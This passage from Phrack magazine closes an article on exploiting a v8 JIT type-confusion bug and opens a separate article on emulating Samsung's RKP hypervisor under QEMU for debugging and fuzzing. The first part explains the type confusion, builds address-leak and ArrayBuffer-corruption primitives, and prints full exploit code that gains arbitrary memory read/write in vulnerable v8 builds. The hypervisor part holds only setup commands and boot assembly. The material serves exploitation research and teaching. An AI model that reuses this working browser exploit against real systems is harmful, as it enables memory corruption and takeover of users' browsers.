NameDictionaries inline buffer by bad luck), it is able to detect that and can simply retry with a different number of properties or different property names. ----[ 4.1 - Constructing Type Confusions There is an important bit about v8 that wasn't discussed yet. Besides the location of property values, Maps also store type information for properties. Consider the following piece of code: let o = {} o.a = 1337; o.b = {x: 42}; After executing it in v8, the Map of o will indicate that the property .a will always be a Smi while property .b will be an Object with a certain Map that will in turn have a property .x of type Smi. In that case, compiling a function such as function foo(o) { return o.b.x; } will result in a single Map check for o but no further Map check for the .b property since it is known that .b will always be an Object with a specific Map. If the type information for a property is ever invalidated by assigning a property value of a different type, a new Map is allocated and the type information for that property is widened to include both the previous and the new type. With that, it becomes possible to construct a powerful exploit primitive from the bug at hand: by finding a matching pair of properties JIT code can be compiled which assumes it will load property p1 of one type but in reality ends up loading property p2 of a different type. Due to the type information stored in the Map, the compiler will, however, omit type checks for the property value, thus yielding a kind of universal type confusion: a primitive that allows one to confuse an object of type X with an object of type Y where both X and Y, as well as the operation that will be performed on type X in the JIT code, can be arbitrarily chosen. This is, unsurprisingly, a very powerful primitive. Below is the scaffold code for crafting such a type confusion primitive from the bug at hand. Here p1 and p2 are the property names of the two properties that overlap after the property storage is converted to dictionary mode. As they are not known in advance, the exploit relies on eval to generate the correct code at runtime. eval(` function vuln(o) { // Force a CheckMaps node let a = o.inline; // Trigger unexpected transition of property storage this.Object.create(o); // Seemingly load .p1 but really load .p2 let p = o.${p1}; // Use p (known to be of type X but really is of type Y) // ...; } `); let arg = makeObj(); arg[p1] = objX; arg[p2] = objY; vuln(arg); In the JIT compiled function, the compiler will then know that the local variable p will be of type X due to the Map of o and will thus omit type checks for it. However, due to the vulnerability, the runtime code will actually receive an object of type Y, causing a type confusion. ----[ 4.2 - Gaining Memory Read/Write From here, additional exploit primitives will now be constructed: first a primitive to leak the addresses of JavaScript objects, second a primitive to overwrite arbitrary fields in an object. The address leak is possible by confusing the two objects in a compiled piece of code which fetches the .x property, an unboxed double, converts it to a v8 HeapNumber, and returns that to the caller. Due to the vulnerability, it will, however, actually load a pointer to an object and return that as a double. function vuln(o) { let a = o.inline; this.Object.create(o); return o.${p1}.x1; } let arg = makeObj(); arg[p1] = {x: 13.37}; // X, inline property is an unboxed double arg[p2] = {y: obj}; // Y, inline property is a pointer vuln(arg); This code will result in the address of obj being returned to the caller as a double, such as 1.9381218278403e-310. Next, the corruption. As is often the case, the "write" primitive is just the inversion of the "read" primitive. In this case, it suffices to write to a property that is expected to be an unboxed double, such as shown next. function vuln(o) { let a = o.inline; this.Object.create(o); let orig = o.${p1}.x2; o.${p1}.x = ${newValue}; return orig; } let arg = makeObj(); arg[p1] = {x: 13.37}; arg[p2] = {y: obj}; vuln(arg); This will "corrupt" property .y of the second object with a controlled double. However, to achieve something useful, the exploit would likely need to corrupt an internal field of an object, such as is done below for an ArrayBuffer. Note that the second primitive will read the old value of the property and return that to the caller. This makes it possible to: * immediately detect once the vulnerable code ran for the first time and corrupted the victim object * fully restore the corrupted object at a later point to guarantee clean process continuation. With those primitives at hand, gaining arbitrary memory read/write becomes as easy as 0. Creating two ArrayBuffers, ab1 and ab2 1. Leaking the address of ab2 2. Corrupting the backingStore pointer of ab1 to point to ab2 Yielding the following situation: +-----------------+ +-----------------+ | ArrayBuffer 1 | +---->| ArrayBuffer 2 | | | | | | | map | | | map | | properties | | | properties | | elements | | | elements | | byteLength | | | byteLength | | backingStore --+-----+ | backingStore | | flags | | flags | +-----------------+ +-----------------+ Afterwards, arbitrary addresses can be accessed by overwriting the backingStore pointer of ab2 by writing into ab1 and subsequently reading from or writing to ab2. ----[ 4.3 - Reflections As was demonstrated, by abusing the type inference system in v8, an initially limited type confusion primitive can be extended to achieve confusion of arbitrary objects in JIT code. This primitive is powerful for several reasons: 0. The fact that the user is able to create custom types, e.g. by adding properties to objects. This avoids the need to find a good type confusion candidate as one can likely just create it, such as was done by the presented exploit when it confused an ArrayBuffer with an object with inline properties to corrupt the backingStore pointer. 1. The fact that code can be JIT compiled that performs an arbitrary operation on an object of type X but at runtime receives an object of type Y due to the vulnerability. The presented exploit compiled loads and stores of unboxed double properties to achieve address leaks and the corruption of ArrayBuffers respectively. 2. The fact that type information is aggressively tracked by the engines, increasing the number of types that can be confused with each other. As such, it can be desirable to first construct the discussed primitive from lower-level primitives if these aren't sufficient to achieve reliable memory read/write. It is likely that most type check elimination bugs can be turned into this primitive. Further, other types of vulnerabilities can potentially be exploited to yield it as well. Possible examples include register allocation bugs, use-after-frees, or out-of-bounds reads or writes into the property buffers of JavaScript objects. ----[ 4.4 Gaining Code Execution While previously an attacker could simply write shellcode into the JIT region and execute it, things have become slightly more time consuming: in early 2018, v8 introduced a feature called write-protect-code-memory [20] which essentially flips the JIT region's access permissions between R-X and RW-. With that, the JIT region will be mapped as R-X during execution of JavaScript code, thus preventing an attacker from directly writing into it. As such, one now needs to find another way to code execution, such as simply performing ROP by overwriting vtables, JIT function pointers, the stack, or through another method of one's choosing. This is left as an exercise for the reader. Afterwards, the only thing left to do is to run a sandbox escape... ;) --[ 5 - References [1] https://blogs.securiteam.com/index.php/archives/3783 [2] https://cs.chromium.org/ [3] https://v8.dev/ [4] https://www.ecma-international.org/ecma-262/8.0/ index.html#sec-array-exotic-objects [5] https://www.ecma-international.org/ecma-262/8.0/ index.html#sec-addition-operator-plus [6] https://chromium.googlesource.com/v8/v8.git/+/6.9.427.19/ tools/turbolizer/ [7] https://v8.dev/docs/ignition [8] https://www.mgaudet.ca/technical/2018/6/5/ an-inline-cache-isnt-just-a-cache [9] https://mathiasbynens.be/notes/shapes-ics [10] https://bugs.chromium.org/p/project-zero/issues/detail?id=1380 [11] https://github.com/WebKit/webkit/commit/ 61dbb71d92f6a9e5a72c5f784eb5ed11495b3ff7 [12] https://bugzilla.mozilla.org/show_bug.cgi?id=1145255 [13] https://www.thezdi.com/blog/2017/8/24/ deconstructing-a-winning-webkit-pwn2own-entry [14] https://bugs.chromium.org/p/chromium/issues/detail?id=762874 [15] https://bugs.chromium.org/p/project-zero/issues/detail?id=1390 [17] https://bugs.chromium.org/p/project-zero/issues/detail?id=1396 [16] https://cloudblogs.microsoft.com/microsoftsecure/2017/10/18/ browser-security-beyond-sandboxing/ [18] https://www.mozilla.org/en-US/security/advisories/ mfsa2018-24/#CVE-2018-12386 [19] https://mathiasbynens.be/notes/prototypes [20] https://github.com/v8/v8/commit/ 14917b6531596d33590edb109ec14f6ca9b95536 --[ 6 - Exploit Code if (typeof(window) !== 'undefined') { print = function(msg) { console.log(msg); document.body.textContent += msg + "\r\n"; } } { // Conversion buffers. let floatView = new Float64Array(1); let uint64View = new BigUint64Array(floatView.buffer); let uint8View = new Uint8Array(floatView.buffer); // Feature request: unboxed BigInt properties so these aren't needed =) Number.prototype.toBigInt = function toBigInt() { floatView[0] = this; return uint64View[0]; }; BigInt.prototype.toNumber = function toNumber() { uint64View[0] = this; return floatView[0]; }; } // Garbage collection is required to move objects to a stable position in // memory (OldSpace) before leaking their addresses. function gc() { for (let i = 0; i < 100; i++) { new ArrayBuffer(0x100000); } } const NUM_PROPERTIES = 32; const MAX_ITERATIONS = 100000; function checkVuln() { function hax(o) { // Force a CheckMaps node before the property access. This must // load an inline property here so the out-of-line properties // pointer cannot be reused later. o.inline; // Turbofan assumes that the JSCreateObject operation is // side-effect free (it has the kNoWrite property). However, if the // prototype object (o in this case) is not a constant, then // JSCreateObject will be lowered to a runtime call to // CreateObjectWithoutProperties. This in turn eventually calls // JSObject::OptimizeAsPrototype which will modify the prototype // object and assign it a new Map. In particular, it will // transition the OOL property storage to dictionary mode. Object.create(o); // The CheckMaps node for this property access will be incorrectly // removed. The JIT code is now accessing a NameDictionary but // believes its loading from a FixedArray. return o.outOfLine; } for (let i = 0; i < MAX_ITERATIONS; i++) { let o = {inline: 0x1337}; o.outOfLine = 0x1338; let r = hax(o); if (r !== 0x1338) { return; } } throw "Not vulnerable" }; // Make an object with one inline and numerous out-of-line properties. function makeObj(propertyValues) { let o = {inline: 0x1337}; for (let i = 0; i < NUM_PROPERTIES; i++) { Object.defineProperty(o, 'p' + i, { writable: true, value: propertyValues[i] }); } return o; } // // The 3 exploit primitives. // // Find a pair (p1, p2) of properties such that p1 is stored at the same // offset in the FixedArray as p2 is in the NameDictionary. let p1, p2; function findOverlappingProperties() { let propertyNames = []; for (let i = 0; i < NUM_PROPERTIES; i++) { propertyNames[i] = 'p' + i; } eval(` function hax(o) { o.inline; this.Object.create(o); ${propertyNames.map((p) => `let ${p} = o.${p};`).join('\n')} return [${propertyNames.join(', ')}]; } `); let propertyValues = []; for (let i = 1; i < NUM_PROPERTIES; i++) { // There are some unrelated, small-valued SMIs in the dictionary. // However they are all positive, so use negative SMIs. Don't use // -0 though, that would be represented as a double... propertyValues[i] = -i; } for (let i = 0; i < MAX_ITERATIONS; i++) { let r = hax(makeObj(propertyValues)); for (let i = 1; i < r.length; i++) { // Properties that overlap with themselves cannot be used. if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) { [p1, p2] = [i, -r[i]]; return; } } } throw "Failed to find overlapping properties"; } // Return the address of the given object as BigInt. function addrof(obj) { // Confuse an object with an unboxed double property with an object // with a pointer property. eval(` function hax(o) { o.inline; this.Object.create(o); return o.p${p1}.x1; } `); let propertyValues = []; // Property p1 should have the same Map as the one used in // corrupt for simplicity. propertyValues[p1] = {x1: 13.37, x2: 13.38}; propertyValues[p2] = {y1: obj}; for (let i = 0; i < MAX_ITERATIONS; i++) { let res = hax(makeObj(propertyValues)); if (res !== 13.37) { // Adjust for the LSB being set due to pointer tagging. return res.toBigInt() - 1n; } } throw "Addrof failed"; } // Corrupt the backingStore pointer of an ArrayBuffer object and return the // original address so the ArrayBuffer can later be repaired. function corrupt(victim, newValue) { eval(` function hax(o) { o.inline; this.Object.create(o); let orig = o.p${p1}.x2; o.p${p1}.x2 = ${newValue.toNumber()}; return orig; } `); let propertyValues = []; // x2 overlaps with the backingStore pointer of the ArrayBuffer. let o = {x1: 13.37, x2: 13.38}; propertyValues[p1] = o; propertyValues[p2] = victim; for (let i = 0; i < MAX_ITERATIONS; i++) { o.x2 = 13.38; let r = hax(makeObj(propertyValues)); if (r !== 13.38) { return r.toBigInt(); } } throw "CorruptArrayBuffer failed"; } function pwn() { // // Step 0: verify that the engine is vulnerable. // checkVuln(); print("[+] v8 version is vulnerable"); // // Step 1. determine a pair of overlapping properties. // findOverlappingProperties(); print(`[+] Properties p${p1} and p${p2} overlap`); // // Step 2. leak the address of an ArrayBuffer. // let memViewBuf = new ArrayBuffer(1024); let driverBuf = new ArrayBuffer(1024); // Move ArrayBuffer into old space before leaking its address. gc(); let memViewBufAddr = addrof(memViewBuf); print(`[+] ArrayBuffer @ 0x${memViewBufAddr.toString(16)}`); // // Step 3. corrupt the backingStore pointer of another ArrayBuffer to // point to the first ArrayBuffer. // let origDriverBackingStorage = corrupt(driverBuf, memViewBufAddr); let driver = new BigUint64Array(driverBuf); let origMemViewBackingStorage = driver[4]; // // Step 4. construct the memory read/write primitives. // let memory = { write(addr, bytes) { driver[4] = addr; let memview = new Uint8Array(memViewBuf); memview.set(bytes); }, read(addr, len) { driver[4] = addr; let memview = new Uint8Array(memViewBuf); return memview.subarray(0, len); }, read64(addr) { driver[4] = addr; let memview = new BigUint64Array(memViewBuf); return memview[0]; }, write64(addr, ptr) { driver[4] = addr; let memview = new BigUint64Array(memViewBuf); memview[0] = ptr; }, addrof(obj) { memViewBuf.leakMe = obj; let props = this.read64(memViewBufAddr + 8n); return this.read64(props + 15n) - 1n; }, fixup() { let driverBufAddr = this.addrof(driverBuf); this.write64(driverBufAddr + 32n, origDriverBackingStorage); this.write64(memViewBufAddr + 32n, origMemViewBackingStorage); }, }; print("[+] Constructed memory read/write primitive"); // Read from and write to arbitrary addresses now :) memory.write64(0x41414141n, 0x42424242n); // All done here, repair the corrupted objects. memory.fixup(); // Verify everything is stable. gc(); } if (typeof(window) === 'undefined') pwn(); |=[ EOF ]=---------------------------------------------------------------=| ============== Page 10/13 ============== ==Phrack Inc.== Volume 0x10, Issue 0x46, Phile #0x0a of 0x0f |=-----------------------------------------------------------------------=| |=----------------------=[ Hypervisor Necromancy; ]=---------------------=| |=----------------=[ Reanimating Kernel Protectors, or ]=----------------=| |=-----------------------------------------------------------------------=| |=--------=[ On emulating hypervisors; a Samsung RKP case study ]=-------=| |=-----------------------------------------------------------------------=| |=---------------------------=[ Aris Thallas ]=--------------------------=| |=--------------------=[ athallas.phrack@gmail.com ]=--------------------=| |=-----------------------------------------------------------------------=| --[ Table of Contents 0 - Introduction 1 - Overview 1.1 - ARM Architecture & Virtualization Extensions 1.2 - Samsung Hypervisor 1.3 - Workspace Environment 2 - Framework Implementation & RKP Analysis 2.1 - System Bootstrap 2.1.1 - EL1 2.2 - EL2 Bootstrap 2.2.1 - Stage 2 translation & Concatenated tables 2.2.2 - EL2 bootstrap termination and EL1 physical address 2.3 - RKP Initialization Functions 2.3.1 - RKP Exception Handlers 2.3.2 - RKP Initialization 2.3.3 - RKP Deferred Initialization 2.3.4 - Miscellaneous Initializations 2.4 - Final Notes 3 - Fuzzing 3.1 - Dummy fuzzer 3.1.1 - Handling Aborts 3.1.2 - Handling Hangs 3.2 - AFL with QEMU full system emulation 3.2.1 - Introduction 3.2.2 - Implementation 3.3.2.1 - QEMU patches 3.3.2.2 - Framework support 3.3.2.3 - Handling parent translations 3.3.2.4 - Handling hangs and aborts 3.3.2.5 - Demonstration 3.4 - Final Comments 4 - Conclusions 5 - Thanks 6 - References 7 - Source code --[ 0 - Introduction Until recently, to compromise an entire system during runtime attackers found and exploited kernel vulnerabilities. This allowed them to perform a variety of actions; executing malicious code in the context of the kernel, modify kernel data structures to elevate privileges, access protected data, etc. Various mitigations have been introduced to protect against such actions and hypervisors have also been utilized, appart from their traditional usage for virtualization support, towards this goal. In the Android ecosystem this has been facilitated by ARM virtualization extensions, which allowed vendors/OEMs to implement their own protection functionalities/logic. On the other hand, Android devices have been universally a major PITA to debug due to the large diversity of OEMs and vendors that introduced endless customizations, the lack of public tools, debug interfaces etc. To the author's understanding, setting up a proper debug environment is usually one of the most important and time consuming tasks and can make a world of difference in understanding the under examination system or application in depth (especially true if no source code is available), identifying 0day vulnerabilities and exploiting them. In this (rather long) article we will be investigating methods to emulate proprietary hypervisors under QEMU, which will allow researchers to interact with them in a controlled manner and debug them. Specifically, we will be presenting a minimal framework developed to bootstrap Samsung S8+ proprietary hypervisor as a demonstration, providing details and insights on key concepts on ARM low level development and virtualization extensions for interested readers to create their own frameworks and Actually Compile And Boot them ;). Finally, we will be investigating fuzzing implementations under this setup. The article is organized as follows. The first section provides background information on ARM, Samsung hypervisors and QEMU to properly define our development setup. Next, we will elaborate on the framework implementation while dealing with the various ARM virtualization and Samsung implementation nuances. We will continue by demonstrating how to implement custom dummy fuzzers under this setup and finally for more intelligent fuzzing incorporate AFL a.k.a. "NFL or something by some chap called Cameltuft" :p On a final note, any code snippets, memory offsets or other information presented throughout this article refer to Samsung version G955FXXU4CRJ5, QEMU version 4.1.0 and AFL version 2.56b. --[ 1 - Overview ----[ 1.1 - ARM Architecture & Virtualization Extensions As stated in "Arm Architecture Reference Manual Armv8, for Armv8-A architecture profile - Issue E.a" (AARM), Armv8 defines a set of Exception Levels (EL, also referred to as Execution Levels) EL0 to EL3 and two security states Secure and Non-secure aka Normal World. The higher the exception level, the higher the software execution privilege. EL3 represents the highest execution/privilege level and provides support for switching between the two security states and can access all system resources for all ELs in both security states. EL2 provides support for virtualization and in the latest version Armv8.5 support for Secure World EL2 was introduced. EL1 is the Operating System kernel EL typically described as _privileged_ and EL0 is the EL of userland applications called _unprivileged_. --------------------------------------------------- | Secure Monitor (EL3) | --------------------------------------------------- | Hypervisor (EL2)* | Sec Hypervisor (sEL2) | --------------------------------------------------- | OS (EL1) | Trusted OS (sEL1) | --------------------------------------------------- | Userland App (EL0) | Secure App (sEL0) | --------------------------------------------------- Normal World Secure World Switching between ELs is only allowed via taking an exception or returning from one. Taking an exception leads to a higher or the same EL while returning from one (via `eret`) to lower or the same EL. To invoke EL1, `svc` (SuperVisor Call) command is used which triggers a synchronous exception which is then handled by the corresponding OS kernel exception vector entry. Similarly, EL2 is invoked via the `hvc` (HyperVisor Call) command and EL3 via the `smc` (Secure Monitor Call) command. Switching between security states is only done by EL3. When a hypervisor is present in the system it can control various aspects of EL1 behavior, such as trapping certain operations traditionally handled by EL1 to the hypervisor allowing the latter to decide how to handle the operation. Hypervisor Configuration Register (HCR_EL2) is the system register the allows hypervisors to define which of these behaviors they would like to enable. Last but not least, a core feature of the virtualization extensions is the Stage 2 (S2) translation. As depicted below, this feature splits the standard translation process into two steps. First, using the EL1 translation tables (stored at Translation Table Base Register TTBRn_EL1) which are controlled by EL1, the Virtual Address (VA) is translated to an Intermediate Physical Address (IPA), instead of a Physical Address (PA) of the standard process. The IPA is then translated to a PA by the hypervisor using the Stage 2 translation table (stored at Virtual Translation Table Base Register VTTBR_EL2) which is fully controlled by EL2 and not accessible by EL1. Note that once S2 translation is enabled, EL1 does not access physical memory immediately and every IPA must always be translated via S2 tables for the actual PA access. Of course, EL2 and EL3 maintain their own Stage 1 translation tables for their code and data VAs, which perform the traditional VA to PA mapping. Intermediate Virtual Memory Map Guest Physical Guest OS Memory Map (IPA) +----------------+ +-------------+ | +------------+ | | +---------+ | | | OS (EL 1) | | +--------------------+ | | Flash | | | +------------+ | | Guest OS | | +---------+ | | +-->+ Translation Tables +-->+ | | +------------+ | | TTBRn_EL1 | | +---------+ | | | APP (EL 0) | | +--------------------+ | | RAM | | | +------------+ | | +---------+ | +----------------+ +-------------+ | +---------------------------------------------+ | | +-------------+ v Real Physical | +---------+ | +------+-------------+ Memory Map | | Flash | | | Translation tables | | +---------+ | | VTTBR_EL2 +----------------------->+ | +--------------------+ | +---------+ | +------------->+ | RAM | | | | +---------+ | +----------------+ +---------+----------+ +-------------+ | +------------+ | | Hypervisor | | | Hyp (EL 2) | +-->+ Translation Tables | | +------------+ | | TTBR0_EL2 | +----------------+ +--------------------+ In this article we will be focusing on Normal World, implementing the EL3 and EL1 framework to bootstrap a proprietary EL2 implementation. ----[ 1.2 - Samsung Hypervisor As part of its ecosystem Samsung implements a security platform named Samsung Knox [01] which among others comprises a hypervisor implementation called Real-Time Kernel Protection (RKP). RKP aims to achieve various security features [02], such as the prevention of unauthorized privileged code execution, the protection of critical kernel data (i.e. process credentials) etc. Previous versions of the Samsung hypervisor have been targeted before, with [03] being the most notable exemplar. There, Samsung S7 hypervisor was analyzed in great detail and the article provided valuable information. Moreover, Samsung S8+ hypervisor is stripped and strings are obfuscated whereas S7 is not, providing a valuable resource for binary diffing and string comparison. Finally, the under examination S8+ hypervisor shares many similarities regarding the system architecture which have slowly begun disappearing in the latest models such as Samsung S10. One of the most obvious differences is the location of the binary and the bootstrap process. In sum, for S8+ the hypervisor binary is embedded in the kernel image and the precompiled binary can be found in the kernel source tree under init/vmm.elf (the kernel sources are available at [04]). The kernel is also responsible for bootstrapping and initializing RKP. On the other hand, the S10+ hypervisor binary resides in a separate partition, is bootstrapped by the bootloader and then initialized by the kernel. We will provide more details in the corresponding sections that follow. All these reasons contributed to the selection of the S8 hypervisor as the target binary, as they ease the analysis process, remove undesired complexity from secondary features/functionalities and allow focusing on the core required knowledge for our demonstration. Ultimately, though, it was an arbitrary decision and other hypervisors could have been selected. ----[ 1.3 - Workspace Environment As aforementioned the targeted Samsung version is G955FXXU4CRJ5 and QEMU version is 4.1.0. Both the hypervisor and our framework are 64-bit ARM binaries. QEMU was configured to only support AArch64 targets and built with gcc version 7.4.0, while the framework was built with aarch64-linux-gnu-gcc version 8.3.0. For debugging purposes we used aarch64-eabi-linux-gdb version 7.11. $ git clone git://git.qemu-project.org/qemu.git $ cd qemu $ git checkout v4.1.0 $ ./configure --target-list=aarch64-softmmu --enable-debug $ make -j8 AFL version is 2.56b and is also compiled with gcc version 7.4.0. $ git clone https://github.com/google/afl $ cd afl $ git checkout v2.56b $ make --[ 2 - Framework Implementation & RKP Analysis The first important thing to mention regarding the framework is that it is compiled as an ELF AArch64 executable and treated as a kernel image, since QEMU allows to boot directly from ELF kernel images in EL3 and handles the image loading process. This greatly simplifies the boot process as we are not required to implement separate firmware binary to handle image loading. Function `_reset()` found in framework/boot64.S is the starting execution function and its physical address is 0x80000000 (as specified in the linker script framework/kernel.ld) instead of the default value of 0x40000000 for our QEMU setup (the reasoning behind this is explained later when the framework physical memory layout is discussed). We are now ready to start executing and debugging the framework which is contained in the compilation output kernel.elf. We use the virt platform, cortex-a57 cpu with a single core, 3GB of RAM (the reason for this size is clarified during the memory layout discussion later), with Secure mode (EL3) and virtualization mode (EL2) enabled and wait for gdb to attach. $ qemu-system-aarch64 \ -machine virt \ -cpu cortex-a57 \ -smp 1 \ -m 3G \ -kernel kernel.elf \ -machine gic-version=3 \ -machine secure=true \ -machine virtualization=true \ -nographic \ -S -s $ aarch64-eabi-linux-gdb kernel.elf -q Reading symbols from kernel.elf...done. (gdb) target remote :1234 Remote debugging using :1234 _Reset () at boot64.S:15 15 ldr x30, =stack_top_el3 (gdb) disassemble Dump of assembler code for function _Reset: => 0x0000000080000000 <+0>: ldr x30, 0x80040000 0x0000000080000004 <+4>: mov sp, x30 ... The framework boot sequence is presented below. We will explain the individual steps in the following sections. Note that we will not be following the graph in a linear manner. +-------+ +-------+ +-------+ | EL3 | | EL2 | | EL1 | +-------+ +-------+ +-------+ | . . _reset . . | . . copy_vmm . . | . . eret -------------------------------------------> start_el1 | . | | . __enable_mmu | . | handle_interrupt_el3 <--------------------------- smc(CINT_VMM_INIT) | . | _vmm_init_el3 . | | . | eret(0xb0101000) ----------> start | | | | | | | handle_interrupt_el3 <--- smc(0xc2000401) | | | | _reset_and_drop_el1_main | | | | | eret --------------------------------------------> _el1_main | | | | | el1_main | | | | | rkp_init | | | | | rkp_call | | | | vmm_dispatch <---------- hvc(RKP_INIT) | | | | vmm_synchronous_handler | | | | | rkp_main | | | | | my_handle_cmd_init | | | | | various init functions... | | | | | rkp_paging_init | | | | | process el1 page tables | | | | | eret -----------------> el1_main | | | | | +---+ | | | | | | |<--+ ----[ 2.1 - System Bootstrap The first thing to do after a reset is to define the stack pointers and exception vectors. Since EL2 system register values are handled by RKP during its initialization, we will be skipping EL2 registers to avoid affecting RKP configurations, except for any required reserved values as dictated by AARM. Moreover, various available oracles which will be discussed later can be examined to verify the validity of the system configuration after initializations are complete. Stack pointers (SP_ELn) are set to predefined regions, arbitrarily sized 8kB each. Vector tables in AArch64 comprise 16 entries of 0x80 bytes each, must be 2kB aligned and are set in VBAR_ELx system configuration registers where x denotes the EL (for details refer to AARM section "D1.10 Exception entry" and "Bare-metal Boot Code for ARMv8-A Processors"). | Exception taken from EL | Synchronous | IRQ | FIQ | SError | ------------------------------------------------------------------- | Current EL (SP_EL0) | 0x000 | 0x080 | 0x100 | 0x180 | | Current EL (SP_ELx, x>0) | 0x200 | 0x280 | 0x300 | 0x380 | | Lower EL AArch64 | 0x400 | 0x480 | 0x500 | 0x580 | | Lower EL AArch32 | 0x600 | 0x680 | 0x700 | 0x780 | In our minimal implementation we will not be enabling IRQs or FIQs. Moreover, we will not be implementing any EL0 applications or performing `svc` calls from our kernel and as a result all VBAR_EL1 entries are set to lead to system hangs (infinite loops). Similarly, for EL3 we only expect synchronous exceptions from lower level AArch64 modes. As a result only the corresponding `vectors_el3` entry (+0x400) is set and all others lead to system hang as with EL1 vectors. The exception handler saves the current processor state (general purpose and state registers) and invokes the second stage handler. We follow the `smc` calling convention [05], storing the function identifier in W0 register and arguments in registers X1-X6 (even though we only use one argument). If the function identifier is unknown, then the system hangs, a decision of importance in the fuzzing setup. // framework/vectors.S .align 11 .global vectors vectors: /* * Current EL with SP0 */ .align 7 b . /* Synchronous */ .align 7 b . /* IRQ/vIRQ */ ... .align 11 .global vectors_el3 vectors_el3: ... /* * Lower EL, aarch64 */ .align 7 b el3_synch_low_64 ... el3_synch_low_64: build_exception_frame bl handle_interrupt_el3 cmp x0, #0 b.eq 1f b . 1: restore_exception_frame eret ... Processors enter EL3 after reset and in order to drop to a lower ELs we must initialize the execution state of the desired EL and control registers and construct a fake state in the desired EL to return to via `eret`. Even though we will be dropping from EL3 directly to EL1 to allow the proprietary EL2 implementation to define its own state, we still have to set some EL2 state registers values to initialize EL1 execution state. Failure to comply with the minimal configuration results in `eret` invocation to have no effect on the executing exception level (at least in QEMU), in other words we can not drop to lower ELs. In detail, to drop from EL3 to EL2 we have to define EL2 state in Secure Configuration Register (SCR_EL3). We set SCR_EL3.NS (bit 0) to specify that we are in Normal World, SCR_EL3.RW (bit 10) to specify that EL2 is AArch64 and any required reserved bits. Additionally, we set SCR_EL3.HCE (bit 8) to enable the `hvc` instruction here, although this could also be performed at later steps. Next, to be able to drop to EL1 we modify Hypervisor Configuration Register (HCR_EL2) to set HCR_EL2.RW (bit 31) and specify that EL1 is AArch64 and any other required reserved bits. To be as close as possible to the original setup we set some more bits here, such as HCR_EL2.SWIO (bit 1) which dictates the cache invalidation behavior. These additional values are available to us via the aforementioned oracles which will be presented later in the article. // framework/boot64.S .global _reset _reset: // setup EL3 stack ldr x30, =stack_top_el3 mov sp, x30 // setup EL1 stack ldr x30, =stack_top_el1 msr sp_el1, x30 ... // Setup exception vectors for EL1 and EL3 (EL2 is setup by vmm) ldr x1, = vectors msr vbar_el1, x1 ldr x1, = vectors_el3 msr vbar_el3, x1 ... // Initialize EL3 register values ldr x0, =AARCH64_SCR_EL3_BOOT_VAL msr scr_el3, x0 // Initialize required EL2 register values mov x0, #( AARCH64_HCR_EL2_RW ) orr x0, x0,#( AARCH64_HCR_EL2_SWIO ) msr hcr_el2, x0 ... /* * DROP TO EL1 */ mov x0, #( AARCH64_SPSR_FROM_AARCH64 | AARCH64_SPSR_MODE_EL1 | \ AARCH64_SPSR_SP_SEL_N) msr spsr_el3, x0 // drop to function start_el1 adr x0, start_el1 msr elr_el3, x0 eret For the fake lower level state, Exception Link Register (ELR_EL3) holds the exception return address, therefore we set it to the desired function (`start_el1()`). Saved Process Status Register (SPSR_EL3) holds the processor state (PSTATE) value before the exception, so we set its values so that the fake exception came from EL1 (SPSR_EL3.M bits[3:0]), using SP_EL1 (SPSR_EL3.M bit 0) and executing in AArch64 mode (SPSR_EL3.M bit 4). `eret` takes us to `start_el1()` in EL1. The final register related to exceptions is Exception Syndrome Register (ESR_ELx) which holds information regarding the nature of the exception (syndrome information) and as such it has no value to the returning EL and can be ignored. ------[ 2.1.1 - EL1 As aforementioned our goal is to provide a minimal setup. Considering this, there is also the need to be as close as possible to the original setup. Our EL1 configuration is defined with those requirements in mind and to achieve this we used system configuration register values from both the kernel source and the EL2 oracles that will be presented in the following sections, but for now we can safely assume these are arbitrarily chosen values. We will be presenting details regarding some critical system register values but for detailed descriptions please refer to AARM section "D13.2 General system control registers". start_el1: // initialize EL1 required register values ldr x0, =AARCH64_TCR_EL1_BOOT_VAL msr tcr_el1, x0 ldr x0, =AARCH64_SCTLR_EL1_BOOT_VAL msr sctlr_el1, x0 ... #define AARCH64_TCR_EL1_BOOT_VAL ( \ ( AARCH64_TCR_IPS_1TB << AARCH64_TCR_EL1_IPS_SHIFT ) | \ ( AARCH64_TCR_TG1_4KB << AARCH64_TCR_EL1_TG1_SHIFT ) | \ ( AARCH64_TCR_TSZ_512G << AARCH64_TCR_EL1_T1SZ_SHIFT ) | \ ( AARCH64_TCR_TG0_4KB << AARCH64_TCR_EL1_TG0_SHIFT ) | \ ( AARCH64_TCR_TSZ_512G << AARCH64_TCR_EL1_T0SZ_SHIFT ) | \ ... ) As Translation Control Register (TCR_EL1) values suggest, we use a 40-bit 1TB sized Intermediate Physical Address space (TCR_EL1.IPS bits[34:32]), for both TTBR0_EL1 and TTBR1_EL1 4kB Translation Granule size (TCR_EL1.TG1 bits [31:30] and TCR_EL1.TG0 [15:14] respectively) and 25 size offset which means that there is a 64-25=39 bit or 512GB region of input VAs for each TTBRn_EL1 (TCR_EL1.T1SZ bits[21:16] and TCR_EL1.T0SZ bits[5:0]). By using 4kB Granularity each translation table size is 4kB and each entry is a 64-bit descriptor, hence 512 entries per table. So at Level 3 we have 512 entries each pointing to a 4kB page or in other words we can map a 2MB space. Similarly, Level 2 has 512 entries each pointing to a 2MB space summing up to a 1GB address space and Level 1 entries point to 1GB spaces summing up to a 512GB address space. In this setup where there are 39bit input VAs we do not require a Level 0 table as shown from the translation graph. For more details refer to AARM section "D5.2 The VMSAv8-64 address translation system". +---------+---------+---------+-----------+ | [38:30] | [29:21] | [20:12] | [11:0] | VA segmentation with | | | | | 4kB Translation Granule | Level 1 | Level 2 | Level 3 | Block off | 512GB input address space +---------+---------+---------+-----------+ Physical Address +-------------------------+-----------+ VA Translation | [39:12] | [11:0] | demonstration with +-------------------------+-----------+ 4kB Granule, ^ ^ 512GB Input VA Space | | 1TB IPS | +----------+ +-------------------------+ | | | Level 1 tlb Level 2 tlb Level 3 tlb | | +--------> +-----------+ +--->+-----------+ +-->+-----------+ | | | | | | | | | | | | | | +-----------+ | +-----------+ | | | | | | | 1GB block | | | 2MB block | | | | | | | | entry | | | entry | | | | | | | +-----------+ | +-----------+ | | | | | | | | | | | | | | | | | +-----------+ | | | | | | | | | +-->+ Tbl entry +---+ | | | | | | | +---+---+ | +-----------+ +-----------+ | | | | | | TTBRn | | | | +-->+ Tbl entry +--+ +-----------+ | | +---+---+ | | | | +-----------+ +->+ Pg entry +--+ | ^ | | | | | | | +-----------+ | | | | | | | | | | | | +--+ | +-----------+ | +-----------+ | +-----------+ | | | +------+ | | | +----+ Index +----+ | +--+ +-----------+ | | | | | 